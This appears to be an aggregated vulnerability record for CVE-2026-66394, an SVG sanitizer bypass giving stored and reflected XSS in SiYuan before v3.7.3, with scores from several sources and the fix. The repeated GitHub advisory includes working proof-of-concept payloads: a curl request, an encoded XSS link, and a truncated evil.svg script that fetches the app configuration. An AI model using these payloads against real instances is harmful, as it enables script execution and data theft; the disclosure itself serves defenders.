CVE-2026-66394
SiYuan before v3.7.3 Stored and Reflected XSS via SVG Sanitizer Bypass
SiYuan before v3.7.3 contains stored and reflected cross-site scripting vulnerabilities in SVG sanitization that allows authenticated attackers to execute scripts by bypassing the HTML parser-based cleaner. Attackers can hide script tags within desc, style, or noscript elements which the HTML parser treats as raw text but browsers interpret as executable SVG content when served as image/svg+xml, enabling script execution in the application origin.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
9.3
SiYuan before v3.7.3 Stored and Reflected XSS via SVG Sanitizer Bypass
SiYuan before v3.7.3 contains stored and reflected cross-site scripting vulnerabilities in SVG sanitization that allows authenticated attackers to execute scripts by bypassing the HTML parser-based cleaner. Attackers can hide script tags within desc, style, or noscript elements which the HTML parser treats as raw text but browsers interpret as executable SVG content when served as image/svg+xml, enabling script execution in the application origin.
- Record
CVE-2026-66394- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N - CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-49327
9.3
SiYuan before v3.7.3 contains stored and reflected cross-site scripting vulnerabilities in SVG sanitization that allows authenticated attackers to execute scripts by bypassing the HTML parser-based cleaner. Attackers can hide script tags within desc, style, or noscript elements which the HTML parser treats as raw text but browsers interpret as executable SVG content when served as image/svg+xml, enabling script execution in the application origin.
- Record
EUVD-2026-49327- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-5p6m-3744-5c8g
9.3
SiYuan before v3.7.3 contains stored and reflected cross-site scripting vulnerabilities in SVG...
SiYuan before v3.7.3 contains stored and reflected cross-site scripting vulnerabilities in SVG sanitization that allows authenticated attackers to execute scripts by bypassing the HTML parser-based cleaner. Attackers can hide script tags within desc, style, or noscript elements which the HTML parser treats as raw text but browsers interpret as executable SVG content when served as image/svg+xml, enabling script execution in the application origin.
- Record
GHSA-5p6m-3744-5c8g- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-99rq-75j6-5j9f
8.7
SiYuan: Stored and reflected XSS in SiYuan through an SVG sanitizer bypass
Summary
SiYuan cleans user supplied SVG with util.SanitizeSVG before it serves the file inline as image/svg+xml. This cleaner is the guard behind the Editor.AllowSVGScript setting, which is off by default, so a <script> inside an SVG is meant to be removed.
The cleaner reads the input as HTML, but the browser reads the served file as XML (SVG). Because the two parsers treat some tags differently, a <script> can be hidden so the cleaner never removes it. The cleaned file still holds a working script. When a browser opens that file as an SVG document, the script runs in the app origin. There is no Content Security Policy in the product to stop it.
The same bug can be reached in two ways. Both share one root cause (the cleaner), so one fix in the cleaner closes both:
- Reflected, through a single link:
GET /api/icon/getDynamicIcon - Stored, through a planted
.svgasset:GET /assets/<name>.svg
I confirmed this on a live SiYuan 3.7.2 kernel.
Root cause
util.SanitizeSVG (kernel/util/misc.go:319) parses the string with an HTML parser, walks the element nodes to drop <script>, <iframe>, <foreignobject>, event handler attributes and so on, then renders it back and cuts out the <svg>...</svg> part.
The gap comes from HTML parsing rules that do not exist in XML:
<desc>and<title>are HTML integration points. Inside them the HTML parser switches back to normal HTML mode. The cleaner drops<foreignObject>but keeps<desc>and<title>.- Inside HTML mode,
<style>,<xmp>and<noscript>are raw text elements. Their contents are read as plain text, not as child nodes. So the cleaner never sees a<script>placed inside them, and the render step writes it back exactly as it was. - When the browser reads the same bytes as XML (SVG), there is no raw text rule.
<style>becomes a normal container and the hidden<script>becomes a real, working SVG script node.
I checked this by building and running the real SanitizeSVG. A plain <script> under <svg> is removed, but wrapping it in <desc><style> lets it pass through untouched:
IN : <svg><script>alert(1)</script></svg>
OUT: <svg></svg> (removed)
IN : <svg><desc><style><script>alert(1)</script></style></desc></svg>
OUT: <svg><desc><style><script>alert(1)</script></style></desc></svg> (kept, runs)
Two places serve SVG through this cleaner, and both only require CheckAuth, which allows Administrator, Editor and Reader roles:
kernel/server/serve.go:703serveSVGserves an asset inline asimage/svg+xml.kernel/api/icon.go:158getDynamicIcon. Fortype=8thecontentquery value is put straight into the SVG template aticon.go:583with no escaping, then cleaned, then served asimage/svg+xml.
Attack vector 1: reflected (one link)
The content value in getDynamicIcon is reflected as is and survives the cleaner. A signed in user only has to open one link.
curl -sk -G 'http://127.0.0.1:6806/api/icon/getDynamicIcon' \
--data-urlencode 'type=8' \
--data-urlencode 'content=</text><desc><style><script>alert(document.domain)</script></style></desc><text>'
The response is HTTP/1.1 200 OK, Content-Type: image/svg+xml, and the body holds a live script:
<text ...></text><desc><style><script>alert(document.domain)</script></style></desc><text></text>
Open this in a browser as a signed in user (or on an instance with no lock screen code) to see it run:
http://<host>:6806/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cdesc%3E%3Cstyle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%2Fstyle%3E%3C%2Fdesc%3E%3Ctext%3E
Attack vector 2: stored (planted asset)
Place this file as data/assets/evil.svg:
<svg xmlns="http://www.w3.org/2000/svg"><desc><style><script>
fetch('/api/system/getConf',{method:'POST'}).then(r=>r.text())
.then(t=>{new…
- Record
GHSA-99rq-75j6-5j9f- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
9.3
SiYuan before v3.7.3 contains stored and reflected cross-site scripting vulnerabilities in SVG sanitization that allows authenticated attackers to execute scripts by bypassing the HTML parser-based cleaner. Attackers can hide script tags within desc, style, or noscript elements which the HTML parser treats as raw text but browsers interpret as executable SVG content when served as image/svg+xml, enabling script execution in the application origin.
- Record
CVE-2026-66394- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
9.3
SiYuan before v3.7.3 Stored and Reflected XSS via SVG Sanitizer Bypass
SiYuan before v3.7.3 contains stored and reflected cross-site scripting vulnerabilities in SVG sanitization that allows authenticated attackers to execute scripts by bypassing the HTML parser-based cleaner. Attackers can hide script tags within desc, style, or noscript elements which the HTML parser treats as raw text but browsers interpret as executable SVG content when served as image/svg+xml, enabling script execution in the application origin.
- Record
CVE-2026-66394- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-99rq-75j6-5j9f
8.7
SiYuan: Stored and reflected XSS in SiYuan through an SVG sanitizer bypass
Summary
SiYuan cleans user supplied SVG with util.SanitizeSVG before it serves the file inline as image/svg+xml. This cleaner is the guard behind the Editor.AllowSVGScript setting, which is off by default, so a <script> inside an SVG is meant to be removed.
The cleaner reads the input as HTML, but the browser reads the served file as XML (SVG). Because the two parsers treat some tags differently, a <script> can be hidden so the cleaner never removes it. The cleaned file still holds a working script. When a browser opens that file as an SVG document, the script runs in the app origin. There is no Content Security Policy in the product to stop it.
The same bug can be reached in two ways. Both share one root cause (the cleaner), so one fix in the cleaner closes both:
- Reflected, through a single link:
GET /api/icon/getDynamicIcon - Stored, through a planted
.svgasset:GET /assets/<name>.svg
I confirmed this on a live SiYuan 3.7.2 kernel.
Root cause
util.SanitizeSVG (kernel/util/misc.go:319) parses the string with an HTML parser, walks the element nodes to drop <script>, <iframe>, <foreignobject>, event handler attributes and so on, then renders it back and cuts out the <svg>...</svg> part.
The gap comes from HTML parsing rules that do not exist in XML:
<desc>and<title>are HTML integration points. Inside them the HTML parser switches back to normal HTML mode. The cleaner drops<foreignObject>but keeps<desc>and<title>.- Inside HTML mode,
<style>,<xmp>and<noscript>are raw text elements. Their contents are read as plain text, not as child nodes. So the cleaner never sees a<script>placed inside them, and the render step writes it back exactly as it was. - When the browser reads the same bytes as XML (SVG), there is no raw text rule.
<style>becomes a normal container and the hidden<script>becomes a real, working SVG script node.
I checked this by building and running the real SanitizeSVG. A plain <script> under <svg> is removed, but wrapping it in <desc><style> lets it pass through untouched:
IN : <svg><script>alert(1)</script></svg>
OUT: <svg></svg> (removed)
IN : <svg><desc><style><script>alert(1)</script></style></desc></svg>
OUT: <svg><desc><style><script>alert(1)</script></style></desc></svg> (kept, runs)
Two places serve SVG through this cleaner, and both only require CheckAuth, which allows Administrator, Editor and Reader roles:
kernel/server/serve.go:703serveSVGserves an asset inline asimage/svg+xml.kernel/api/icon.go:158getDynamicIcon. Fortype=8thecontentquery value is put straight into the SVG template aticon.go:583with no escaping, then cleaned, then served asimage/svg+xml.
Attack vector 1: reflected (one link)
The content value in getDynamicIcon is reflected as is and survives the cleaner. A signed in user only has to open one link.
curl -sk -G 'http://127.0.0.1:6806/api/icon/getDynamicIcon' \
--data-urlencode 'type=8' \
--data-urlencode 'content=</text><desc><style><script>alert(document.domain)</script></style></desc><text>'
The response is HTTP/1.1 200 OK, Content-Type: image/svg+xml, and the body holds a live script:
<text ...></text><desc><style><script>alert(document.domain)</script></style></desc><text></text>
Open this in a browser as a signed in user (or on an instance with no lock screen code) to see it run:
http://<host>:6806/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cdesc%3E%3Cstyle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%2Fstyle%3E%3C%2Fdesc%3E%3Ctext%3E
Attack vector 2: stored (planted asset)
Place this file as data/assets/evil.svg:
<svg xmlns="http://www.w3.org/2000/svg"><desc><style><script>
fetch('/api/system/getConf',{method:'POST'}).then(r=>r.text())
.then(t=>{new…
- Record
GHSA-99rq-75j6-5j9f- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGO-2026-6364 No score
SiYuan: Stored and reflected XSS in SiYuan through an SVG sanitizer bypass in github.com/siyuan-note/siyuan/kernel
SiYuan: Stored and reflected XSS in SiYuan through an SVG sanitizer bypass in github.com/siyuan-note/siyuan/kernel
- Record
GO-2026-6364- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/siyuan-note/siyuan/kernelGo |
before 0.0.0-20260714095344-f08dee71ba8e | 0.0.0-20260714095344-f08dee71ba8e |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-66394 is a critical vulnerability (CVSS 9.3) in Siyuan-note Siyuan, published July 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.34%, the 27th percentile. Fixed in github.com/siyuan-note/siyuan/kernel 0.0.0-20260714095344-f08dee71ba8e.
References
github.com/siyuan-note/siyuan/security/advisories/GHSA-99rq-75j6-5j9f
vulncheck.com/advisories/siyuan-before-stored-and-reflected-xss-via-svg-sanitizer-bypass
nvd.nist.gov/vuln/detail/CVE-2026-66394
github.com/advisories/GHSA-5p6m-3744-5c8g
github.com/siyuan-note/siyuan/commit/f08dee71ba8e087a395d74f121de11e6a997ef14
github.com/siyuan-note/siyuan/releases/tag/v3.7.3
github.com/advisories/GHSA-99rq-75j6-5j9f
github.com/CVEProject/cvelistV5/tree/main/cves/2026/66xxx/CVE-2026-66394.json
github.com/siyuan-note/siyuan
Left out here: the rest of 2 source descriptions. The JSON record has them.